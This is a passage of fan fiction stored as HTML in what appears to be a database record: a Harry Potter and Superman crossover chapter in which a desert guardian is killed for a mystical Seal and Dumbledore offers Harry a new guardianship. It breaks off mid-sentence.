&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n\n\n\n\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n\n\n\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n\n\n\n\n\n\n\n'),
	(183, 2, '<p>Last Son of Krypton</p>\n<p>A Harry Potter/ Superman/Smallville/ crossover/fusion/whatever</p>\n<p>By Dragonlord</p>\n<p><span class="u">Author’s notes: </span> </p>\n<p>1/To those smart readers out there, a game. I have purposely put some references \n    to other shows in the fic. It’s up to you to find them... You know the drill; \n    <i>Gotta catch them all!</i>  </p>\n<p>2/ For the Kryptonian background I have decided to make a fusion between \n    several sources, mainly the post-Crisis Superman, the first Superman movie, \n    the Animates Series and, of course, the Smallville show that is the main reason \n    why I have started this fic. In other words this version of Superman will \n    be vastly different from those sources but having elements of all. This said, \n    any contribution to the back ground, especially old Krypton, Jor-El, Kem-L \n    and the House of El is more than welcome.</p>\n<p>3/ As you may notice this chapter is split in two. Next part should be ready \n    for next week.</p>\n<p>4/ This goes for to the people at the Portkey Chat, meaning (author takes \n    a big breath): Bristar, Max, Aurora, Darkstar, Hallie, Misstake, Babygrrl, \n    Thelvyn, Sky is Blue, XxKkAnGxX, Ryoko Blue, Heaven, Lady Slytherin, Countess \n    (aka 714), Hermione QoH, Amber, Evil Hermione, Tuxedo Kamen, Mola and all \n    the others. </p>\n<p>To all of you, <b>thank you</b> for those wonderful \n    days and nights of friendship and laughter that will never be forgotten.</p>\n<p><b><i>YOU ARE THE BEST!!</i></b></p>\n<p>And of course special thanks to <b>Nappa</b> and <b>Dauphin</b> that made \n    this possible. From the heart, thank you both! </p>\n<p> </p>\n<p> </p>\n<p>This said on with the show!</p>\n<p> </p>\n<p> </p>\n<p><b><span class="u">Disclaimer</span></b><span class="u">:</span> Harry Potter is the sole property of J.K.Rowling. \n    Superman is born out of the minds of Joe Shuster and Jerry Spiegel and all \n    rights are recognized, so if you want to sue me go ahead! Lose your time. \n    Otherwise C&amp;C welcome! (and don’t forget to review ^_^)</p>\n<p> </p>\n<p>--------------------------------------- </p>\n<p>Chapter two: Summer of discoveries</p>\n<p>Part 1.1 </p>\n<p>---------------------------------------</p>\n<p><i> </i></p>\n<p><i> "Normal? Normal! I would give anything to be \n    normal!"</i></p>\n<p><i>Clark Kent, Smallville</i></p>\n<p></p>\n<p> </p>\n<p>The sun’s light streamed through the hand-carved \n    windows of Assim’s home.</p>\n<p>He was an old man, a <i>very</i> old man whose skin \n    had been perpetually darkened by the exposure to the life-giving star. </p>\n<p>Old skin - dry and wrinkled like the bark of an \n    old tree. Hair and beard white - nearly yellow with the grace of time. Dark \n    tired eyes that had seen their share of tragic events in this land forgotten \n    by the gods a long time ago. </p>\n<p>A land forgotten by the race of men, none of them \n    remaining willingly in this corner of the world.</p>\n<p>But not Assim. He had chosen freely to remain, even \n    when everything else had turned to dust and joined the sand of the desert, \n    carried by an uncaring wind. </p>\n<p>There was no bitterness in that decision. It was \n    simply the way his life had passed, unfolding with the coming and going of \n    the days. </p>\n<p>Still, years ago he could have done so, moved out \n    of this cursed place, but now age failed him.</p>\n<p>Too old to search for a new place for himself. Too \n    old to really care. He had lost everything to the many wars waged for the \n    possession of the liquid of life, the so very precious water. Wars that had \n    spilled red blood upon scorching ground. </p>\n<p>The blood of his family for instance, while he had \n    survived bearing the suffering that such events brought to his heart. </p>\n<p>When that had happened, when he had awakened with \n    his body screaming in pain from the bullet wound that had nearly cut the thread \n    of his life, the emotional pain that came from looking at his slaughtered \n    family had almost succeeded where the weapons of men had failed.</p>\n<p>Wars had chased the few men and women that remained \n    still in this forgotten land away and the very wars led those waging them \n    away from what was now a wasteland. </p>\n<p>Wars had come and gone, while the sun’s heat descended \n    violently against the dry land like a merciless hammer, pitting itself against \n    a cold so intense that through the night the only sound crossing the landscape \n    was of those stones that split open from the inside, due to the action of \n    those two opposed but mighty forces</p>\n<p>So Assim continued living there, as well as he could, \n    living on the mountainside in a man-made cave where he passed his days in \n    meditation and searching his mind for the keys of the mysteries of the world, \n    of the ways of men and gods.</p>\n<p>His home was bare to the most basic of elements. \n    Stone walls, stone bed, stone kitchen... a single hole in this rising rib \n    of the earth that sufficed to cater to his needs, his body not needing much \n    at this point of his life.</p>\n<p>He needed little, after all, to guard what had been \n    entrusted to him by his father, as his father had been by Assim’s grandfather. \n    </p>\n<p>It was a task that began from events that no one \n    recalled anymore - a task that had been entrusted to Assim’s family since \n    the dawn of time, or so said his father when Assim was still a young boy, \n    sitting upon the knees of that beloved figure, gazing attentively into those \n    two dark eyes that burned with warmth and some personal wisdom.</p>\n<p>Each time that Assim looked at it, at the object \n    he guarded, he could feel a sort of comfort fill him. And when he touched \n    it, the sensation felt like all the good memories of his life had come back \n    to him, soothing his aching soul.</p>\n<p>Like when he had first looked upon his wife, or \n    when he had held his first child in his arms... moments of incredible joy \n    and perfect simplicity, of righteousness. Hundreds of those moments of happiness \n    coursing through him, sometimes making tears of contentment flow down his \n    wrinkled cheeks.</p>\n<p>When he had been a child and his father had let \n    him touch it, he would feel the same way. When he had asked his father why \n    it was so, his father would smile mysteriously and tell him that it was the \n    gods who embraced him, all that was good and worthwhile in this world and \n    those beyond.</p>\n<p>Assim soon found that it was a comforting thought, \n    and a truth as valid as any other explanation.</p>\n<p>The old man always kept it in the same place, hanging \n    from the wall, in a special niche carved in the living stone. There it rested, \n    but even so it always seemed to glow softly and hum slightly when he was near \n    it, as if answering to his presence... what Assim believed to be greetings \n    from the artifact.</p>\n<p>Each time Assim looked at it he was amazed by the \n    skill that had been used in its crafting.</p>\n<p>A perfect disc, barely a foot in diameter. </p>\n<p>It wasn’t made of stone or of metal, but it had \n    the smooth touch of both when they have been handles by the hands of master \n    crafters, its surface unblemished by the pass of time, intact and seemingly \n    indestructible by physical violence.</p>\n<p>Its edge was black, dark flames reaching towards \n    the center but barely crossing an inch from the border. The flames contained \n    strange designs and unknown signs that could be found on both sides of the \n    disc. Still the most interesting part was the center of it, the space that \n    started from the point where the flames ended to its very center.</p>\n<p>In that inner space a large symbol could be seen, \n    its ebony black color a contrast to the curves and lines of gleaming cobalt \n    blue and ruby red that could be found behind it on a second plane. Even if \n    those signs, lines and symbols had any meaning or some secret purpose, Assim \n    simply ignored it despite what it could be.</p>\n<p>He only knew that it was an object that needed to \n    be protected at all costs - what sometimes bothered him. He had no ill illusion \n    that he could protect it…he knew he couldn’t. He was too weak for that, an \n    old man waiting for death to finally come to him.</p>\n<p>Still sometimes when he held the disc, visions would \n    come to him. Some, he knew as a man knows his own name, where from the future, \n    his future. </p>\n<p>Others, the most common, of far away lands were \n    a mystery to him. He would see men and women doing things that he couldn’t \n    understand but supposed that they held some importance. Still, if those visions \n    were of the past, of the present or concerning the future it was impossible \n    for him to know.</p>\n<p>Lately when Assim touched the disc a single vision \n    would come to him. During the last three weeks it had been the same and he \n    knew that what he was looking at would happen, no matter what. He knew he \n    should be feeling something other than resignation, but strangely it wasn’t \n    the case. </p>\n<p>Some sadness... yes, there was some of that. Of \n    course. But at the same time there was a feeling of anticipation, as though \n    what was about to happen would give him something that he had sought without \n    knowing - really knowing. </p>\n<p>A measure of peace.</p>\n<p>--------------------------------------- </p>\n<p> </p>\n<p>It was a morning like any other and Assim was kneeling \n    as he prayed, his back turned to the door and windows through which the light \n    of the sun came, carrier of the usual heat. </p>\n<p>Assim had his eyes closed, as ever in those moments \n    when he prayed to the few gods he knew and still believed in.</p>\n<p>Then suddenly, Assim knew that he was no longer \n    alone. He didn’t need the knowledge the visions gave him to know that. After \n    decades of solitude such intrusion was easily noticed. </p>\n<p>With unearthly calm, Assim rose, dusted the front \n    of his trousers and turned to face the intruder. </p>\n<p>He was tall and male - that much, Assim could tell \n    from his form and overall shape, but he was clothed entirely in black robes, \n    the hood pulled up to hide the features of the man. </p>\n<p>One thing aroused Assim’s interest. The man seemed \n    to radiate cold, as though the sun shunned him. The sun and anything that \n    came in contact with him, that was, and it wasn’t hard to believe that this \n    being was repudiated by anything that was natural. Even the very air seemed \n    to recoil from that frame, sickened by the contact.</p>\n<p>"I have come for the Seal, old man."</p>\n<p>Assim sighed and nodded. But even so he remained \n    there, between the stranger and the softly glowing disc. </p>\n<p>"You dare to oppose me?" asked the voice, \n    cold and full of contempt.</p>\n<p>"I do not. This has been the mission of my \n    line and yet I know that nothing I can say or do will steer you from your \n    path."</p>\n<p>The voice, coming from the unfathomable deeps of \n    the hood, snickered. </p>\n<p>"A fool’s errand, old man. The Seal is mine." \n    </p>\n<p>Assim sadly shook his head. "You call me a \n    fool but you are an even greater one. Claiming the Seal with violence leads \n    only to destruction. That much, I know."</p>\n<p>The tall man laughed, a sound that seemed the very \n    opposite to what laughter should be; a negation of joy born out of innocent \n    happiness; that was the only kind of laughter this aberration could give.</p>\n<p>"You know nothing, old man. You and your line \n    of pathetic worms have guarded it without really knowing what it was - maggots \n    guarding a key by some obscure twist of fate. Even your touch soils its very \n    essence," Then he started to move. "And your blood will wash that \n    filth away."</p>\n<p>Assim saw how the man produced a dagger, its slender \n    blade gleaming coldly as the light of the sun reflected off it. </p>\n<p>He did nothing to defend himself. He didn’t move \n    when the man raised it high in the air; did nothing as the blade flashed and \n    bit into his flesh, sinking easily into it, parting wrinkled skin, feeble \n    muscles and thin bones in its path, the dagger sinking to the hilt in his \n    body. And yet he remained silent even when the blood hit his mouth and drenched \n    his killer’s robes and hand with it.</p>\n<p>Silently, Assim fell backwards, death already claiming \n    him softly and gently. He wasn’t even aware of his body hitting the ground \n    of his home. But he did see the robed man move aside as he advanced, sidestepping \n    past his body, no longer thinking about him as he moved to claim the legacy \n    of Assim’s forefathers. </p>\n<p>The last image to reach Assim’s eyes, as life slowly \n    left his mortal body, was the bloodied hands of the aberration taking the \n    Seal, his own blood soiling it. For one last moment the old man could feel \n    the sadness that came from the softly glowing disc, as if it knew the tragic \n    fate of its guardian. </p>\n<p>For one last irrational moment of his life, the \n    dying man had wanted to comfort it, to tell his old companion that everything \n    was right at last.</p>\n<p>But then, to him, to Assim ibn Kassem, born two \n    hundred and sixty-four years ago in a desolated land, those things lost his \n    interest as the dreamless sleep of death finally claimed him. </p>\n<p> ---------------------------------------</p>\n<p><i> </i></p>\n<p><i>Far away, </i></p>\n<p><i>Hogwarts School for Witchcraft and Wizardry</i></p>\n<p> </p>\n<p> </p>\n<p>Paintings of past headmasters, men and women of \n    all ages and appearances, spoke among themselves about the latest gossip going \n    around the paintings while others were engrossed in books dealing with some \n    obscure (and generally useless) facet of magic. </p>\n<p>On each wall a bookshelf could be found, filled \n    till it almost burst with dusty tomes that, as every book in this thousand-year-old \n    school did, dealt with magic or the world that used it. They were dusty as \n    few knew of their existence and even fewer sought the knowledge that could \n    be found on those yellowing pages.</p>\n<p>Along with the books, various gadgets and other \n    rare items were on display, each making a noise of its own as the magically-powered \n    mechanics moved from side to side, up and down, in and out and so on as they \n    had since the day Albus Dumbledore had taken his position as Headmaster of \n    Hogwarts School of Witchcraft and Wizardry. </p>\n<p>To some, all those strange items were but a faint \n    reflection of their owner’s personality. Many would call it eccentric, while \n    others would see them as another sign that something wasn’t right with the \n    old wizard’s mind, not withstanding the fact that he was considered by many \n    one of the world’s more powerful magic users. </p>\n<p>On the upper level of the room, where the desk of \n    the headmaster was situated, one could find a fireplace. The strange thing \n    was, throughout the year, even in summer, a fire burned in it, its flames \n    dancing gently and giving off part of the heat that made the room so welcoming, \n    another facet that could be attributed to its current owner.</p>\n<p>To further the surprise, a gold-and crimson-feathered \n    phoenix could be found perched on a golden stand beside the desk, what in \n    itself was a sign of the more than declared light side of its owner. Said \n    phoenix was softly humming tunes which spread through the room - sounds that \n    would have filled anyone hearing them with happiness, courage and sheer well-being \n    as if warm sweet honey had been infused into the very corners of the listener. \n    </p>\n<p>But that day Fawkes’ ethereal music couldn’t penetrate \n    the boredom the tedious task of paperwork that claimed Dumbledore every year \n    brought to the old wizard’s mind. </p>\n<p>Had it been up to him, Albus would have gladly exchanged \n    his discovery about the twelve uses of dragon’s blood for a way to be free \n    of paperwork... truly a curse for both the magical and muggle worlds. </p>\n<p>The headmaster was still pondering how to get out \n    of the fix he was now in (again), when a knock made Albus look up from his \n    desk where at least half a dozen files were open and pages and parchments \n    lay scattered upon the large desk. </p>\n<p>Putting the quill back in the ink bottle, Dumbledore \n    spoke, his voice clear and strong.</p>\n<p>"Come in."</p>\n<p>The door opened and Harry Potter entered the room.</p>\n<p>"You wanted to see me, sir?" Harry asked, \n    the tone of his voice even - yet Dumbledore knew that the boy was intrigued \n    by his summons to the headmaster’s sanctum.</p>\n<p>Smiling slightly, the old wizard gestured for Harry \n    to sit in the chair in front of his desk. The young man complied immediately, \n    his small frame sinking into the huge chair that made even the most mature \n    wizard feel somewhat childlike. </p>\n<p>Albus took the time to observe Harry attentively.</p>\n<p>At fifteen years old, Harry was small for his age \n    (even some of the younger students were taller than him), and if that wasn’t \n    enough he was rather skinny and offered an image of being, at best, underfed \n    even though the food provided at Hogwarts was enough to keep any student from \n    that state of health.</p>\n<p>His hair was still the same mass of untamed locks, \n    wild black hair that seemed to have been styled during a Quidditch match, \n    looking as though it had never met a brush. His skin was pale - not something \n    too unusual in good old Britain but still...</p>\n<p>Round glasses, the same year after year, looked \n    battered and ready to break despite the restorative effects of the <i>reparo</i> \n    charm and could barely hide his gleaming green eyes, that day by day seemed \n    to shine more and more.</p>\n<p>And of course the ever present scar that under the \n    light that streamed through the windows appeared in all its glory, the jagged \n    line seeming to give off a light of its own.</p>\n<p>And if one looked at his aura...</p>\n<p>Thanks the Heavens that it was a rare skill. </p>\n<p>"Sir? You wanted to see me? If it’s about the \n    OWLs..."</p>\n<p>Sighing, Dumbledore shook his head </p>\n<p>"Nothing about that, dear boy... the reason \n    I asked Minerva to tell you to meet me is because a certain situation, which \n    has presented itself, concerns you directly. Nothing too serious, I assure \n    you but that puts me and the Ministry at odds in some way..." </p>\n<p>Then he smiled. "Nothing new, I’m afraid." \n    Pause. "Still it is something that will lead to you making an important \n    decision."</p>\n<p>Dumbledore lay back in his own chair, his eyes never \n    wavering from Harry’s face, taking in all his expressions. "You see, \n    Harry, a few days ago I got a letter from your legal guardians, the Dursleys. \n    They communicated to whomever was responsible for you within the wizarding \n    world that they refused adamantly to let you return to their house for the \n    summer and, as things stand right now, for the next two years until your legal \n    adulthood. In short they cut all links with you and your mother."</p>\n<p>From his slack jaw and wide eyes Dumbledore knew \n    that this bit of news had taken the teenager totally by surprise.</p>\n<p>"What? But... I’m... well…I’m confused about \n    this, sir. It’s kind of unexpected even if the Dursleys have all my life made \n    what they thought of me very clear."</p>\n<p>Harry paused, searching for the right words. This \n    was so unexpected that it had taken him by surprise - perhaps even shock.</p>\n<p>"Despite the fact that we didn’t get along, \n    I felt that they would always be there. Or at least as long as I’m underage. \n    I always told myself that I didn’t care about them, that I would be better \n    off without them in my life but they are, or were, part of my family. And \n    now... I don’t know what to think or feel."</p>\n<p>Dumbledore nodded wisely, stroking his silvery white \n    beard. "Perfectly understandable, Harry. Still this leaves us in a delicate \n    situation. A situation that I must now describe to you."</p>\n<p>Harry nodded, signaling for the older wizard to \n    continue.</p>\n<p>"As you know, ancient magic has been summoned \n    to your protection as long as you lived with those who shared the same blood \n    with you, namely your aunt and your cousin. This demanded special measures \n    to be taken by the Ministry in the times that followed Voldemort’s first downfall. \n    Back then, Bartemius Crouch Senior, along with many others, knew that your \n    safety was paramount to anything else."</p>\n<p>Dumbledore stopped, his eyes alight with a strange \n    glow and suddenly Harry’s mind wandered back a year ago when he had stumbled \n    across the headmaster’s Pensieve. The old wizard had showed him how it worked \n    - when he had too many thoughts in his head, he removed them with his wand \n    before sending them into the magical object.</p>\n<p>Now he had the same expression on his face, his \n    eyes reflecting those hidden thoughts and memories. Memories that Harry couldn’t \n    even begin to imagine. </p>\n<p>Dumbledore’s voice returned and Harry had the impression \n    of a hidden bitterness in it. "At that time we had the full support of \n    the Ministry. Now the situation has changed and not all of it is good. Even \n    with the rise of the Dark Arts across the globe and almost daily Death Eater \n    attacks, Fudge refuses to acknowledge Voldemort’s return. This put us in a \n    situation that is very dangerous, as the Ministry refuses to find some ways \n    to protect you until the time you are of age as they insist there is nothing \n    to worry about."</p>\n<p>"As such they are pressuring me for a solution \n    to your lack of guardians. If I can’t find a way to protect you without their \n    help they will place you into a foster home where they expect you to be taken \n    care of. Already some wizards have volunteered for that position and of those, \n    the one that has the best chance of becoming your guardian through wizarding \n    laws is Lucius Mafoy."</p>\n<p>Harry’s eyes bulged as his face paled even more.</p>\n<p>"But that would be like giving me to Voldemort \n    himself!"</p>\n<p>Dumbledore nodded. "We both know that. But \n    to Fudge it makes sense. Not only does he refuse to even admit that Voldemort \n    is back, he sees this as an opportunity to not only be in Lucius’s good graces \n    but also as a way to smooth things over by giving your custody to a wizard \n    who despite his notorious past as a follower of Voldemort is now, and I quote \n    our dear minister here - "</p>\n<p>Clearing his voice, Dumbledore started reading from \n    one of the many pages upon the desk, his voice denuded of emotion but his \n    blue eyes seemed made entirely of ice as the words spilled from his mouth.</p>\n<p><i>"One of our magical world’s most revered \n    citizens, who works for the greater good of our society, donating huge amounts \n    of money to charitable organizations worldwide, a natural-born leader who, \n    through his actions, gives us a better lifestyle. Personally I feel that we \n    could not ask for a better role model for our young friend who, I must say \n    again, has not got the best track record for a citizen with such fame like \n    his."</i></p>\n<p>"Shall I continue?"</p>\n<p>Harry waved off Dumbledore’s offer, all the while \n    looking ready to tear something apart. </p>\n<p>"I’m going to be sick" was the only thing \n    that he said but his green eyes burned with an inner fire that the old wizard \n    found in some way comforting. That was the way Harry had taken challenges \n    ever since his terrible ordeal during his fourth year of schooling, looking \n    as if he was ready to shake the pillars of the world.</p>\n<p>Chuckling and eyes twinkling, Dumbledore continued. \n    "I share your feelings, Harry, but this is not the moment to go on a \n    rampage. As with many things we have to make the best of it. This situation \n    has forced us to act. The Dursleys’ decision may be unexpected and it may \n    give us some problems, but we have lost nothing. Instead I will have to put \n    in motion some of the dispositions I prepared once, when I left you more than \n    fourteen years ago on the Dursleys’ porch."</p>\n<p>"You see, dear Minerva told me it was a mistake \n    leaving you in the Dursleys’ care many years ago. However, even if I regret \n    that you grew up without love, I could never regret the way you are now, or \n    how those years shaped you to be the young man that I know would have made \n    your parents very proud."</p>\n<p>"Returning to the matters at hand, back then, \n    I took some time to come up with some alternatives in case something like \n    this happened. As it didn’t, you continued living with your aunt and uncle, \n    none the wiser of it."</p>\n<p>Harry swallowed. "But, sir, with all due respect, \n    didn’t you find it strange that I asked time and time again to go and spend \n    summers with Ron’s family? Why did you keep forcing me to live with people \n    who hate anything that is not what they think it should be? Who hate me only \n    because I am a wizard?"</p>\n<p>Dumbledore looked thoughtful for a moment before \n    answering bluntly.</p>\n<p>"Because I preferred to see you unhappy rather \n    than see you dead, Harry. Voldemort may have found his demise when the Killing \n    Curse backfired, but even so he had fanatically faithful followers, Death \n    Eaters who would have done anything to be able to kill you in the mad hope \n    that they could return their master back from whatever state he was in."</p>\n<p>"Think about the Longbottoms, Harry, it is \n    true that they were tortured by the Lestranges and other Death Eaters as they \n    searched for a way to find Voldemort and bring him back to power... But it \n    was <i>after</i> they searched for you. Unable to bypass the magic that could \n    only be summoned through the blood link you had with your aunt they started \n    to search for their Dark Lord, knowing that someone of his might couldn’t \n    be defeated that easily." </p>\n<p>For a moment Harry remained silent before speaking \n    and Dumbledore knew that Harry was blaming himself. </p>\n<p>"I wasn’t aware of that, professor. Sorry."</p>\n<p>Dumbledore waved his hand, dismissing Harry’s excuse, \n    but his face was grave, the usual twinkle missing from his eyes.</p>\n<p>"I know, and I apologize for being too blunt. \n    But you must understand that generally I have a reason behind doing something... \n    even when it pains me to do so."</p>\n<p>The old wizard sighed and suddenly the twinkle in \n    his eyes was back. Clearing his throat, Dumbledore continued. "But the \n    present situation demands for me to use those measures. It is quite simple, \n    but if not for that lacking quality. The most simple option would be to find \n    you a new home amongst your fellow classmates here at Hogwarts."</p>\n<p>"The situation demands for a magical family \n    or, if not possible, one with strong ties to you. If it was possible, I would \n    entrust your security to Sirius or Remus but, for obvious reasons, that is \n    not possible even if it would have been perfect. That option being closed \n    to us, I would have requested for the Ministry to let you stay with the Weasleys \n    or if it wasn’t possible, at your friend Hermione’s home."</p>\n<p>Harry’s eyes shone with mad hope which made Dumbledore \n    sigh ruefully. </p>\n<p>"Sadly, both alternatives have but scant chance \n    of being accepted by our dear Minister Fudge. For starters, Lucius will point \n    out Arthur’s economic situation that, as sad as it sounds, is barely enough \n    to sustain his own family. As for the Grangers, it is even worse as he would \n    express his outrage at the Boy Who Lived himself being taken in by a Muggle \n    family. I am sure you know the Ministry’s stand on issues of blood."</p>\n<p>Silently Harry nodded, clearly not pleased.</p>\n<p>"In short, if I present your friends families \n    as options to your guardianship, Lucius will find a way to bypass that and \n    would soon be elected as your legal guardian with the blessings of the Ministry. \n    Without a doubt the other pureblooded families under Voldemort’s command will \n    support him." </p>\n<p>"Then what can we do?" asked Harry in \n    a voice that reminded the older wizard of the eleven-year-old kid who had \n    just faced Voldemort for the first time; lost but willing to go on.</p>\n<p>Dumbledore smiled. </p>\n<p>"Well, that depends... would you fancy some \n    tropical vacations, Harry?"</p>\n<p>Harry blinked. "Uh? Excuse me, professor - \n    I don’t get you."</p>\n<p>Dumbledore laughed.</p>\n<p>"It’s quite easy, dear boy. I’m going on a \n    sabbatical this summer far from Hogwarts and the staff has already agreed \n    to take me far away from here by force if need be. So I have three full months \n    in some still unknown place in the tropics. White sand, clear water, glorious \n    sunsets... what I am asking you is if you would like to share that time with \n    me."</p>\n<p>"But what does that have to do with what we \n    were talking about before, Professor?"</p>\n<p>"It’s rather simple, Harry. I’m willing to \n    propose that the Ministry shift your custody to me and introduce you to the \n    Dumbledore clan registry, thus becoming related to me by magical law. As you \n    may not know, my family is rather old by wizarding standards and, pardon me \n    if I sound boastful, is better seen than Lucius’s with a blood that has been \n    always pure even if we as a whole scoff at the division." </p>\n<p>"With immediate effect, your introduction into \n    my family would officially make me your legal guardian, at least until we \n    are able to clear Sirius’s name... but until then you will stay with me during \n    the summers and have a home at my ancestral house."</p>\n<p>Suddenly Dumbledore looked unsure, as though he \n    had discovered a flaw to his plan. </p>\n<p>"That is unless you are against this solution. \n    It is your choice, but know that even if you don’t accept it, it may be asked \n    of you to remain here at Hogwarts for the next two summers... after that we \n    shall see, but once you have reached your legal age and graduated from here, \n    remember that you will always be welcome, if not at this school, then at my \n    own home."</p>\n<p>Harry was in a daze, not believing what the headmaster \n    was offering him.</p>\n<p>"Now I know it is an important decision to \n    make, so if you wish to, I can leave you here alone for a short period of \n    time while I speak with some of the heads of houses about this year’s examination \n    results..."</p>\n<p>Still, Harry had yet to say or do something but \n    what the old wizard had told him was almost too much for him to deal with.</p>\n<p>It wasn’t only the offer of becoming a member of \n    Dumbledore’s family. With those few words the old wizard had made some of \n    Harry’s most desired wishes a reality. But even beyond that, it was the fact \n    that he would be able to remain in Hogwarts for the summer whether he accepted \n    or did not accept Dumbledore’s offer... </p>\n<p>Being able to remain at Hogwarts, at his real <i>home, \n    </i>for the summer, away from the scorn and the Dursleys’ psychological abuse, \n    away from the privation they enjoyed inflicting upon him, was his greatest \n    desire since he first realized that he wasn’t staying at the place he belonged, \n    five years ago on the train back to King’s Cross, when he had gazed back at \n    Hogwarts which was closing for the summer. </p>\n<p>"Is everything alright, Harry?" asked \n    Dumbledore, his old gentle voice reaching him even through his memories of \n    his first year at the school of wizardry. </p>\n<p>Said Gryffindor student was jolted from his deep \n    thought as a blush spread upon his cheeks.</p>\n<p>"NO!" Then realizing that he had shouted \n    at the current Headmaster (which was reason enough for some of the past Headmasters \n    in the walls to shake their heads at him in disapproval) he shook his head \n    before speaking again. "Ah. No... I’m sorry, Professor, but yes, I’m \n    alright..."</p>\n<p>"I’m happy to hear that..." began Dumbledore \n    before being cut off by a now ecstatic fifth-year. </p>\n<p>"And it will be an honor, sir," Harry \n    said quickly. "If you want me, then I’m more than happy to remain under \n    your custody and be a part of your family. I’ve no need to take time to think \n    that over."</p>\n<p>"Good!" Dumbledore smiled, his blue eyes \n    twinkling with joy. "Then once classes end we will start planning our \n    little trip. I’m sure that Miss Granger will be more than willing to help \n    us out with this little task." He paused his expression still merry. \n    "That is, if the staff hadn’t arranged it all by now. Even so I’m sure \n    we could use miss Granger’s help. Don’t you think so Harry?"</p>\n<p>Harry nodded even if his gesture was slightly hesitant, \n    something which Dumbledore picked up immediately, a concerned expression appearing \n    on his wrinkled face.</p>\n<p>"Is there a problem between you and miss Granger, \n    Harry?"</p>\n<p>Harry opened his mouth to answer before pausing, \n    blinking and shutting his mouth again. Still it only took Dumbledore one look \n    at Harry’s eyes for this one defenses to crumble down. As things were, Harry \n    suspected that the old wizard already knew about it.</p>\n<p>Back in first year he had told Ron and Hermione \n    that he believed that Dumbledore knew most of what happened within Hogwarts’s \n    walls. Now, four years later, he knew that wasn’t true but it was damned near \n    the truth as long as it didn’t concern Voldemort directly. </p>\n<p>The question was, how much of the truth did Dumbledore \n    know?</p>\n<p>"If you don’t mind, sir, I’d rather not talk \n    about that."</p>\n<p>Dumbledore’s eyes clouded more, probably in concern, \n    Harry guessed. </p>\n<p>The younger wizard sighed.</p>\n<p>"It’s nothing... important, Professor, and \n    there’s not a thing that you or anyone else can do."</p>\n<p>The old wizard sighed, his eyes looking suddenly \n    old and terribly sad. Abruptly, Harry simply realized that Dumbledore knew \n    what was going on. And yet what he said was true: no one could do anything \n    about that.</p>\n<p>For a moment the only sound that filled the air \n    was of the fire in the hearth of the room, of the burning wood that crackled \n    from time to time. Both wizards were deep in thought and even Fawkes was silent, \n    no longer humming his enchanted notes. Finally Harry looked up at the headmaster.</p>\n<p>"If that’s all, may I return to the common \n    room?"</p>\n<p>Dumbledore nodded. "Of course, Harry. But keep \n    in mind that I may summon you to arrange some of the details of our trip and, \n    as sad as it sounds, paperwork that the ministry may request. Still, until \n    then you may go." </p>\n<p>He paused as if considering before speaking softly, \n    knowing that Harry, who was already half way to the door may not hear him.</p>\n<p>"Have faith, Harry." </p>\n<p>The boy gave no indication that he had heard the \n    old sage as he closed the door behind him and Dumbledore once again sighed, \n    wondering when life would give a break to the young wizard... </p>\n<p>Something unlikely in all accounts.</p>\n<p>Harry’s life was about to change dramatically once \n    again, as if things weren’t already complicated to him with his two friends’ \n    relationship.</p>\n<p>As if that wasn’t enough Dumbledore could only think \n    about what he had seen in Harry’s aura with divided feelings. </p>\n<p>On one hand he was thrilled that the seal of the \n    Avada Kedavra was breaking at last but the unfathomable changes that would \n    happen after it finally broke would risk erecting more and more barriers between \n    Harry and those he loved.</p>\n<p>That was without bringing in the truth about Harry, \n    the same truth he had asked for after his encounter with Voldemort in the \n    entire debacle concerning the Philosopher’s Stone in first year. </p>\n<p> </p>\n<p><i>The truth…</i></p>\n<p><i>It is a beautiful and terrible thing, and should \n    therefore be treated with great caution.</i></p>\n<p> </p>\n<p>How true, he thought. How very true.</p>\n<p>"Things are never easy..." he muttered, \n    looking at his companion who nodded, before returning to his work, an eagle-feather \n    quill in his hand, the scratching noise mingling with the sound of the fire \n    and Fawkes’ soft tunes.</p>\n<p>--------------------------------------- </p>\n<p> </p>\n<p>"You’re what?" Ron Weasley exclaimed just \n    as Harry finished speaking.</p>\n<p>Harry winced, his eyes darting around to see if \n    someone had noticed Ron’s outburst.</p>\n<p>Thankfully, for once in the entire year no one paid \n    attention to the younger male Weasley, as everybody was still discussing the \n    final exams that had come to an end but a couple of days ago. Soon the grades \n    would be announced and the anxiety that was the natural aftermath to such \n    a brutal period of time was overshadowing everything else.</p>\n<p>There were but two people not really bothered about \n    the OWLs in the whole Hogwarts fifth year - Hermione Granger and Harry Potter.</p>\n<p>Hermione’s lack of worry about the results was due, \n    in all simplicity, to the knowledge that she had aced her tests. </p>\n<p>She had gone through the hellish week of examinations \n    with ease and had worked well under the strain, feeling in her element, sure \n    of her answers, of her movements as she used her wand to cast spells, charms \n    and hexes. The only thing that was left to know was if she would pulverize \n    the previous record of the most number of OWLs that Lily Evans and Tom Riddle \n    had established years ago. </p>\n<p>For Harry it was quite different.</p>\n<p>Anything he did was overshadowed by the knowledge \n    that Voldemort wanted his head on a pike and would not rest until he had managed \n    that. The Boy Who Lived had 